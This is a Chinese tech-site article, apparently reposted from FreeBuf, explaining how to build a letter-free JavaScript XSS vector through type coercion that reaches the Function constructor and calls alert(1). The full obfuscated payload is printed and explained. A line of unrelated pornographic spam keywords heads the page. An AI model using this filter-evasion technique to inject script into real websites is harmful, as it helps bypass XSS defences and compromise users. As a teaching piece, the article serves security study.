偷偷摘套内射激情视频,久久精品99国产国产精,中文字幕无线乱码人妻,中文在线中文a,性爽19p

無須字母構建XSS向量

安全 應用安全
之前我在玩一個XSS游戲的時候突然有了些想法,本著分享的原則,于是便有了這篇文章。在此,我將分享一個此前沒有接觸過的一個XSS攻擊向量。

之前我在玩一個XSS游戲的時候突然有了些想法,本著分享的原則,于是便有了這篇文章。在此,我將分享一個此前沒有接觸過的一個XSS攻擊向量。

[[152113]]

相同水平的前提下,在攻擊向量中不使用任何字母,且必須調用alert(1)。

閑話少說,看這里:

""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]](((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")()

真是一團糟,我們到底做了些什么呢?接下來容我慢慢給大家道來。

分析

首先從空字符串開始,接下來我們訪問括號而不是我們熟悉的點符號的屬性。

請注意,在接下來的一分鐘我們將構建字符串,不會用到點符號構造字符串名的對象屬性,現(xiàn)在切換到括號。

現(xiàn)在我們訪問的是什么屬性?下面這個就是“字符串”

(!1+"")[3]+(!0+"")[2]+(''+{})[2]

接下來從!1(false)開始,將“”添加到一個non-String值中是一個快速且直接的方法,所以(!1+””)我們得到false

將字符帶入索引3中的“false”(結果切好是s),在(!0+””)[2]或者“true”[2]再次嘗試,你會得到字母u。最后將字符帶入索引2的字符串“[object Object]”中,你會得到字母b。

不使用任何字母,構造一個字符串來訪問空字符串對象的“sub”屬性,然而sub不僅僅是一個屬性,它還是一個函數(shù)!

此時此刻,你可能會認為我接下來會通過調用String.sub函數(shù)破壞過濾。或許這么做也行,但是我選擇更加有深度的做法,函數(shù)有什么內置屬性?如何構造函數(shù)?

如果你打開一個JavaScript控制臺,鍵入“”[“sub”][“constructor”],你看到了什么?為什么得到了Function()函數(shù)!似乎我們有事情干了…

給你點提示:這其中有n

((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]

我們有熟悉的“”[“sub”]:

((""["sub"])+"")[2]

向其中增加“”,得到function sub() { [native code] }。將字符帶入索引2得到字母n

總結

我們現(xiàn)在得到了相當于Function()的“”[“sub”][“constructor”],調用它我們就可以定義一個函數(shù)了。當我們嘗試調用alert(1)時,就需要連接更多的“true”和“false”來構建alert字符串,其后在加上+”(1)”。

現(xiàn)在我們調用Function(“alert(1)”),大功告成,現(xiàn)在只需一個調用,返回一個匿名函數(shù)就可以實現(xiàn)彈出。

// empty string""// ["sub"][(!1+"")[3]+(!0+"")[2]+(''+{})[2]]// ["constructor"][(''+{})[5]+(''+{})[1]+((""[(!1+"")[3]+(!0+"")[2]+(''+{})[2]])+"")[2]+(!1+'')[3]+(!0+'')[0]+(!0+'')[1]+(!0+'')[2]+(''+{})[5]+(!0+'')[0]+(''+{})[1]+(!0+'')[1]]// ("alert(1)")(((!1+"")[1]+(!1+"")[2]+(!0+"")[3]+(!0+"")[1]+(!0+"")[0])+"(1)")// call anonymous function returned by Function()()

本文最開始的Function(“alert(1)”)()確實十分混亂,不使用任何可識別的字符串確實很難辨識。你可以在地址欄鍵入“javascript:”復制粘貼上面的代碼點擊回車鍵進行測試。

我喜歡你能夠喜歡JavaScript語言中這種十分隱晦的表達方式,Happy hacking!

責任編輯:藍雨淚 來源: FreeBuf
相關推薦

2016-09-29 14:03:06

2013-04-07 10:11:27

2009-02-06 09:50:00

路由器網段

2012-10-31 09:26:48

Android 4.2

2024-03-06 14:48:54

云原生

2016-09-02 09:14:26

2022-01-12 09:46:49

路由器天線網絡技術

2024-04-24 10:44:53

語言模型自然語言處理人工智能

2010-08-24 16:21:04

2022-02-08 14:05:08

數(shù)字法幣數(shù)字人民幣銀行支付

2010-09-13 10:14:30

2015-11-10 11:00:58

2013-07-26 14:59:13

2017-09-19 15:45:39

2017-05-16 14:25:28

2013-11-14 10:27:54

2017-05-31 14:55:19

2011-09-15 10:57:05

愛普生噴墨打印機

2013-10-14 14:55:44

編程開發(fā)工具
點贊
收藏

51CTO技術棧公眾號